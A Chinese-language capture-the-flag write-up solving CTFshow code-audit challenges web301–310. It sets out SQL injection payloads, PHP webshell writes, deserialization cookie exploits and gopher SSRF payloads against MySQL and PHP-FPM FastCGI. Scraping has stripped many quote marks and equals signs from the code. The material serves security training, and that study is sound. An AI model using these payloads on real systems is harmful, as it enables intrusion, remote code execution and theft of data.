程序员网站建设,公司网站格式,购物网站开发教程 视频,wordpress怎么挣钱CTFshow 代码审计 web301
下载的附件的目录结构如下#xff1a; 开题后界面#xff0c;看见输入框#xff0c;感觉是sql。 大概浏览一遍源码#xff0c;我们可以发现在checklogin.php文件中有无过滤的SQL语句#xff0c;SQL注入没得跑了。 这题SQL注入有三种做法。 方法一…CTFshow 代码审计 web301
下载的附件的目录结构如下 开题后界面看见输入框感觉是sql。 大概浏览一遍源码我们可以发现在checklogin.php文件中有无过滤的SQL语句SQL注入没得跑了。 这题SQL注入有三种做法。 方法一
普通盲注时间和布尔都行这里不赘述了。 方法二
联合注入。
在联合查询并不存在的数据时联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户可以使用这个账户登录。
其实很好理解平常我们联合注入的时候一般是这样的paylaod?id1 and 12 union select 1,database()#。两个回显位返回给我们的是1 数据库名称。这个1是哪来的呢就是...select 1...创建的虚拟数据1。
然后解释一下同文件中的17行的语句if(!strcasecmp($userpwd,$row[sds_password]))满足条件就能登陆成功。PHP中strcasecmp()函数是比较字符串如果 str1 小于 str2 返回 0 如果 str1 大于 str2 返回 0如果两者相等返回 0。
paylaod
账号-1 union select 1717#
密码1717账号进入SQL语句拼接未查询到内容但是创建了虚拟数据1717。那么就是返回了1717。程序把1717当成了账号在数据库中查询到的密码我们输入的密码也是1717strcasecmp()函数判断相等成功登录。
登录成功就给flag 方法三
写入shell。也是基础SQL注入不赘述原理了。
payload
账号-1 union select ?php eval($_POST[1]);? into outfile /var/www/html/shell.php#
密码1访问/shell.php直接getshell CTFshow 代码审计 web302
修改的地方if(!strcasecmp(sds_decode( u s e r p w d ) , userpwd), userpwd),row[‘sds_password’]))
sds_decode函数
function sds_decode($str){return md5(md5($str.md5(base64_encode(sds))).sds);
}估计数据库中的密码是经过加密的。比如说我们的密码是1717存在数据库里面经过加密后就是md5(md5(1717.md5(base64_encode(sds))).sds)就是1e715c20ac9c36a193b564d39ed5fd6b。
方法还是三个。盲注和写入shell不变。联合注入创建虚拟数据稍微改改就行了。
payload
账号-1 union select 1e715c20ac9c36a193b564d39ed5fd6b#
密码1717CTFshow 代码审计 web303
源码目录结构: 下载源码后看原来的checklogin.php文件发现限制了我们的注入点$username长度为6及以内那我们就不能用这个注入点进行注入了。 继续看源码发现文件dpt.php和dptadd.php中都有注释//注入点。
dpt.php dptadd.php 但是想进入这两个文件我们必须先登录得有$_SESSION[login]否则会重定向到login.php。继续看源码寻找如何获得账号密码登录。
我们在fun.php中找到提示语句echo sds_decode(admin);猜测账号密码就是admin sql文件里有账密的信息密码是被函数加密过写入的输入框输入不影响。 输入框输入
账号admin
密码admin登陆后界面
dpt.php作用是显示数据。但是我们发现sql语句中根本没有可控变量甚至没有变量所以这里是假的注入点。 $_GET[id]!empty($_GET[id])?$_GET[id]:NULL;
$page$_GET[id];$sqlselect * from sds_dpt order by id;;
$result$mysqli-query($sql);dptadd.php作用是添加数据insert into这里sql语句有可控变量是真注入点。我们可以insert注入也可以报错注入因为die(mysqli_error($mysqli));回显了sql报错语句。 //注入点$_POST[dpt_name]!empty($_POST[dpt_name])?$_POST[dpt_name]:NULL;$_POST[dpt_address]!empty($_POST[dpt_address])?$_POST[dpt_address]:NULL;$_POST[dpt_build_year]!empty($_POST[dpt_build_year])?$_POST[dpt_build_year]:NULL;$_POST[dpt_has_cert]!empty($_POST[dpt_has_cert])?$_POST[dpt_has_cert]:NULL;$_POST[dpt_cert_number]!empty($_POST[dpt_cert_number])?$_POST[dpt_cert_number]:NULL;$_POST[dpt_telephone_number]!empty($_POST[dpt_telephone_number])?$_POST[dpt_telephone_number]:NULL;$dpt_name$_POST[dpt_name];$dpt_address$_POST[dpt_address];$dpt_build_year$_POST[dpt_build_year];$dpt_has_cert$_POST[dpt_has_cert]on?1:0;$dpt_cert_number$_POST[dpt_cert_number];$dpt_telephone_number$_POST[dpt_telephone_number];$mysqli-query(set names utf-8);$sqlinsert into sds_dpt set sds_name.$dpt_name.,sds_address .$dpt_address.,sds_build_date.$dpt_build_year.,sds_have_safe_card.$dpt_has_cert.,sds_safe_card_num.$dpt_cert_number.,sds_telephone.$dpt_telephone_number.;;$result$mysqli-query($sql);echo $sql;if($resulttrue){$mysqli-close();header(location:dpt.php);}else{die(mysqli_error($mysqli));}一、insert注入
sql语句
$sqlinsert into sds_dpt set sds_name.$dpt_name.,sds_address .$dpt_address.,sds_build_date.$dpt_build_year.,sds_have_safe_card.$dpt_has_cert.,sds_safe_card_num.$dpt_cert_number.,sds_telephone.$dpt_telephone_number.;;原理就是insert的某个变量用select查询语句代替插入时先执行查询语句查出我们想要的数据再把我们想要的数据flag写入数据库中我们可以直接查询的地方利用系统自带的查询数据功能直接把我们想要的数据插入进去的数据也就是flag回显给我们。
比如下面的语句就把数据库名称插入到user表里面。
$dpt_name(select database());
$sqlinsert into user set name.$dpt_name.;;开始做题
查表简单一点就只传一个参数然后直接闭合就行就行
dpt_name1,sds_address(select group_concat(table_name) from information_schema.tables where table_schemadatabase())#查字段
dpt_name1,sds_address(select group_concat(column_name) from information_schema.columns where table_namesds_fl9g);#查数据值
dpt_name1,sds_address(select flag from sds_fl9g)#二、报错注入
老生常谈的注入方式这里不赘述了直接放payload了。
dpt_nameaadpt_addressaadpt_build_year2021-04-02dpt_has_certondpt_cert_numberadpt_telephone_numberxxx or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),20,30),0x7e),1)#CTFshow 代码审计 web304
题目描述 但是扫了眼源码并没有上waf。只是换了个表名把sds_fl9g换成了sds_flaag而已。其他都同上题。
insert注入和报错注入都可以。
payload
dpt_name1,sds_address(select flag from sds_flaag)#CTFshow 代码审计 web305
和上一题大不相同。首先是都上了wafsql注入行不通了。登录的账号密码还是admin 但是在class.php中发现了恶意类文件写入在checklogin.php中发现了反序列化操作。 思路就是反序列化写shell到文件然后就能控制服务端了。
反序列化POC
?php
class user{public $username;public $password;public function __construct($u,$p){$this-username$u;$this-password$p;}
}
var_dump(urlencode(serialize(new user(1.php,?php eval($_POST[1]);?))));
?payload 注意路由
Cookie:
userO%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphpeval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D上传成功后getshell却发现flag不在文件里面猜测flag在数据库里面。
getshell到夺取数据库的话用蚁剑链接数据库就好啦。
首先是让蚁剑连上shell。
数据库账号密码在conn.php里面分别是root和phpcj。 然后右键数据操作。 点击添加。 注意数据库类型是MYSQLI密码也是root不知道为什么。后来发现蚁剑里面读到的源码和他给的不一样蚁剑里面读到的conn.php里面的密码是root 选中列后执行即可得到flag。 CTFshow 代码审计 web306
题目描述开始使用mvc结构
还是php反序列化写入文件这次是构造简单POP链。
这次不用登录账号直接Cookie里面加user就行。注意index.php反序列化时候会就行base64解码。 链子[index.php] unserialize-[dao.php] dao::__destruct()-[class.php] log::close()
反序列化POC
?php
class dao{private $conn;public function __construct(){$this-connnew log();}
}
class log{public $titlea.php;public $info?php eval($_POST[1]);?;
}
$anew dao();
echo base64_encode(serialize($a));payload 注意路由
Cookie:
userTzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319flag在当前目录flag.php里面 CTFshow 代码审计 web307
题目描述是不是顺眼多了
这次是真的MVC结构。
还是php反序列化构造简单POP链写入文件。
不用登录账号直接Cookie里面加user就行。注意logout.php反序列化时候会就行base64解码。 先找恶意类在/controller/service/dao/dao.php文件的dao类中可以拼接执行命令写shell到文件。 logout.php包含了service.php并且调用了clearCache()函数service是通过dao类调用的clearCachelogout.php require了service.php而service.php又require了dao.php所以不需要用到service类也可以直接通过dao类调用clearCache()函数
链子[/controller/logout.php] unserialize-[/controller/service/dao/dao.php] dao::clearCache()
反序列化POC
?php
class config{public $cache_dir xxx;echo ?php eval(\$_POST[1]);? a.php;;//$不转义的话双引号会把$_POST[1]解析
} class dao{private $config;public function __construct(){$this-confignew config();}
}
$anew dao();
echo base64_encode(serialize($a));payload: 注意路由
Cookie:
serviceTzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDU6Inh4eDtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0flag在/var/www/html/flag.php CTFshow 代码审计 web308
题目描述需要拿shell
目录结构 首先看看之前的攻击方式能不能用了。
SQL注入
无明显注入点无SQL报错信息输出insert语句都上了waf。SQL注入不可行。 反序列化写入文件
有无过滤的file_put_contents()函数却从未被调用。 反序列化执行命令
上了waf只能输入大小写字母。 由此看来之前的攻击方式全都失效我们要另寻他法。 我们在fun.php的checkUpdate()函数中发现了明显的SSRF特征代码而且没有过滤。
function checkUpdate($url){$chcurl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, false);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$res curl_exec($ch);curl_close($ch);return $res;}我们把所有有关的代码都整合起来
//【index.php】
$service unserialize(base64_decode($_COOKIE[service]));
if($service){$lastVersion$service-checkVersion();
}//【dao.php】
class dao{private $config;public function checkVersion(){return checkUpdate($this-config-update_url);}
}//【config.php】
class config{private $mysql_usernameroot;//没有密码private $mysql_password;public $update_url https://vip.ctf.show/version.txt;
}//【fun.php】
function checkUpdate($url){$chcurl_init(); //...$res curl_exec($ch);curl_close($ch);return $res;}
得出我们可以使用SSRF打无密码的mysql。SSRF的payload由/index.php反序列化传入。 这里遇到了一个问题我们不知道admin登录的密码这里密码已经不是admin的MD5加密了。 很多师傅包括刚刚的我会觉得那不是在/index.php中会重定向到/login.php吗怎么触发反序列化呢
其实header后的PHP代码还会被执行。虽然重定向了不影响接下里的代码执行该被SSRF打还是得被SSRF打。终止代码执行应该在后面加一个exit();或者die(); 我们先来写一下反序列化POC
?phpclass dao{private $config;public function __construct(){$this-confignew config();}
}class config{public $update_url 【SSRF打无密码mysql的payload】;
}$a new dao();
echo base64_encode(serialize($a));?然后我们来生成一下【SSRF打无密码mysql的payload】顺便说一下这种攻击方式对应端口3306。
Gopherus工具对应文件夹开cmd控制台。工具下载地址https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit mysql一共有两个地方要输入。 gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01如果是直接传参payload需要再次URL编码后发送。因为发送到服务端会自动解析一次。
但是这里是通过反序列化打解析payload时候已经在服务端了不需再次编码直接cv在POC里面就行。
利用POC生成的最后payload然后在/index.php路由不用登录抓包直接改路由就行Cookie传参
serviceTzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319访问/1.php路由直接getshell。 CTFshow 代码审计 web309
题目描述需要拿shell308的方法不行了,mysql 有密码了。
先看看源码。源码还是没有变可能没更新吧。 先利用之前的反序列化POC手动扫一下端口。
?phpclass dao{private $config;public function __construct(){$this-confignew config();}
}class config{public $update_url gopher://127.0.0.1:【端口】;
}$a new dao();
echo base64_encode(serialize($a));?一些危险端口如下
#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口端口设置成9000时候一直未响应。那就是9000端口存在服务.
原理: 向服务端发送请求时服务端会等待我们发送数据处于wait状态。最多等几十秒。 gopher协议只会把数据发送过去不承接任何应用。所以gopher协议访问开放端口时会卡住等待我们传输数据所以就能探测端口是否开放。 脚本用gopher协议访问超过两秒服务端等待数据接收就判断端口开放没超时服务端直接拒绝就是端口没开放。 和上题一样SSRF之Gopher协议打FastCGI端口9000。
FastCGI攻击需要满足四个条件 1、PHP版本要高于5.3.3才能动态修改PHP.INI配置文件 2、知道题目环境中的一个PHP文件的绝对路径 3、PHP-FPM监听在本机9000端口 4、libcurl版本7.45.0 Gopherus工具生成攻击FastCGI的payload。
python2 gopherus.py --exploit fastcgi之后有两个地方可以输入
第一个地方输入
一个已知存在的php文件如/var/www/html/index.php 第二个地方输入
希望目标服务器执行的恶意命令比如反弹shell
tac f*得到payload。
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00代入POC直接生成payload打。 CTFshow 代码审计 web310
源码还是一样。
和之前一样先试试FastCGI这次写马到文件getshell方便点。
第一个地方输入
/var/www/html/index.php 第二个地方输入
echo ?php eval(\$_POST[1]);? 1.php带入POC打一下。 发现能成功写马到文件 完了这波小丑了。 仔细查找后发现路径/var/flag/index.html 读取得到flag。 换个思路尝试SSRF之伪协议读取文件。这里由于是nginx服务nginx可以通过fastcgi对接php所以nginx的配置文件中也会有一些重要信息。读取一下nginx服务的配置文件/etc/nginx/nginx.conf。
伪协议file:///etc/nginx/nginx.conf
POC
?phpclass dao{private $config;public function __construct(){$this-confignew config();}
}class config{public $update_url file:///etc/nginx/nginx.conf;
}$a new dao();
echo base64_encode(serialize($a));?配置文件内容如下
daemon off;worker_processes auto;error_log /var/log/nginx/error.log warn;events {worker_connections 1024;
}http {include /etc/nginx/mime.types;default_type application/octet-stream;sendfile on;keepalive_timeout 65;server {listen 80;server_name localhost;root /var/www/html;index index.php;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;location / {try_files $uri $uri/ /index.php?$args;}location ~ \.php$ {try_files $uri 404;fastcgi_pass 127.0.0.1:9000;fastcgi_index index.php;include fastcgi_params;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;}}server {listen 4476;server_name localhost;root /var/flag;index index.html;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}
}每一个http块都可以包含多个server块而每个server块就相当于一台虚拟主机它内部可有多台主机联合提供服务一起对外提供在逻辑上关系密切的一组服务。
注意到最后一部分我们发现4476这个端口是定向到/var/flag访问内网4476端口即可得到flag文件/var/flag内容。
server {listen 4476;server_name localhost;root /var/flag;index index.html;
}最后的POC
?phpclass dao{private $config;public function __construct(){$this-confignew config();}
}class config{public $update_url http://127.0.0.1:4476;
}$a new dao();
echo base64_encode(serialize($a));?